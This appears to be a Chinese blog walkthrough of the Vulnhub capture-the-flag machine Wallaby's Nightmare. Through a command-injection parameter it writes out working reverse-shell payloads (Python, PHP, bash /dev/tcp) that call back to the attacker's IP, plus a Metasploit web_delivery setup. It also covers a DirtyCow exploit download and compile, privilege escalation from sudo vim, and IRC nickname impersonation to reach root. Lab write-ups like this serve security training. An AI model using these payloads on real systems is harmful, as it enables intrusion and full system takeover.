Vulnhub-靶机-Wallaby's: Nightmare (v1.0.2)

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

地址:https://www.vulnhub.com/entry/wallabys-nightmare-v102,176/

确认开放了80端口,那么先试试80端口看看,访问了两把,点击开始ctf,然后读取了/etc/passwd 再使用nikto扫描了下

再次访问发现访问不了80端口了

那再用nmap进行全端口扫描下吧,22端口目前没必要试,只有没其他端口开放了就试试暴力破解和漏洞的尝试

nmap -sC -sV -p- -n 192.168.5.140

此时会发现80端口已经没开放了,开放了如下端口

看了看60080是web应用端口,先看看这个端口,直接访问http://192.168.5.140:60080/?page=

能够正常访问,那么顺手执行下dirb进行目标web目录的暴力猜解看看

dirb http://192.168.5.140:60080/?page=

根据扫描出来的目录,一个一个访问,发现访问带参数mailer的时候页面比较干净,然后查看网页源代码发现重要信息

http://192.168.5.140:60080/?page=mailer&mail=whoami

此处是本地文件包含漏洞(LFI)可以执行命令,这里可以反弹shell,不过权限不高,这里尝试使用metasploit进行反弹shell然后使用脏牛进行提权

msf5 > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp

msf5 exploit(multi/script/web_delivery) > set target 1

msf5 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp

msf5 exploit(multi/script/web_delivery) > set lhost 192.168.5.130
lhost => 192.168.5.130
msf5 exploit(multi/script/web_delivery) > set lport 7766
lport => 7766

上述配置好之后,然后metasploit会生成一段代码,复制此代码在目标靶机上执行即可反弹shell

访问的URL为:http://192.168.5.140:60080/?page=mailer&mail=php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.5.130:8080/czTZ22llshmhs1', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

上述配置的参数还有根据自己的实际需要进行选择,可以执行show targets , show payload , show option

生成比较 友好的shell
python -c 'import pty; pty.spawn("/bin/bash")'

这里的下载是本地kali使用Python搭建的简易web进行下载 ,脏牛官方下载地址:https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c

编译脏牛exp

gcc cowroot.c -o bmfx -pthread

开始提权,一般不推荐使用脏牛这种形式的提权,我这提权之后过一会系统直接崩溃,网络无法连接

另一种提权形式

反弹shell地址:http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

一种是直接使用Python进行反弹shell,直接在浏览器上执行如下代码:

http://192.168.5.140:60080/?page=mailer&mail=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.5.130",8855));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

本地kali监听对应端口即可

另一种形式,使用kali自身的php反弹shell脚本

cp /usr/share/webshells/php/php-reverse-shell.php shellbmfx.php

将上述代码监听的本地IP地址改为kali的IP地址192.168.5.130 监听端口是8855
当前目录执行php脚本开启简易web服务器
php -S 192.168.5.130:4488
本地kali监听端口
nc -lvnp 8855
在目标靶机上访问下面URL地址
http://192.168.5.140:60080/?page=mailer&mail=curl%20-O%20http://192.168.5.130:4488/shellbmfx.txt;mv%20shellbmfx.txt%20shellbmfx.php
没问题的话即可反弹shell

使用Python反弹shell

 

 习惯性查看sudo权限

 发现可以执行iptables,查看iptables规则

确认只能本地连接ircd,外部无法连接ircd,那么更改防火墙规则,使其允许所有都能连接ircd,或者直接清空所有防火墙规则,因为上述拿到了反弹shell发现可以使用用户waldo使用vim编辑器编辑一个配置文件, 那么可以通过vim的特性执行命令反弹shell到waldo用户

执行:sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf

然后输入冒号:!bash -i >& /dev/tcp/192.168.5.130/1236 0>&1  本地kali监听1236端口即可拿到反弹shell

获取一个tty非常友好的ttyshell,但是在获取之前执行下:python -c 'import pty; pty.spawn("/bin/bash")'

然后按 Ctrl+Z  之后输入stty raw -echo 输入完成之后再按fg 即可获取正常的ttyshell

此时切换到用户waldo的家目录,发现irssi.sh脚本

查看这个脚本发现用户waldo为了满足IRC的需要些的脚本,所以如果我们干掉waldo的用户进程,更改用户名为waldo,再重新加入IRC频道,执行命令即可反弹shell

上述操作就是发现用户waldo启动tmux的进程是665,然后通过vim编辑特性使用root身份执行命令干掉这个进程,此时便可以修改kali自身的昵称,将其更改为waldo来欺骗IRC,因为刚开始使用kali进入的话除了kali自身,看到频道里有两个用户,当被干掉之后,然后将kali用户名更改为waldo进入频道即可,然后使用此身份执行反弹shell

在IRC中更改昵称:/nick waldo  然后重新加入IRC频道,执行如下命令反弹shell

.run bash -c 'bash -i >& /dev/tcp/192.168.5.130/1236 0>&1'

上述执行之前使用nc本地监听端口1236  nc -lvnp 1236

 最终获得root权限

 

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/13536727.html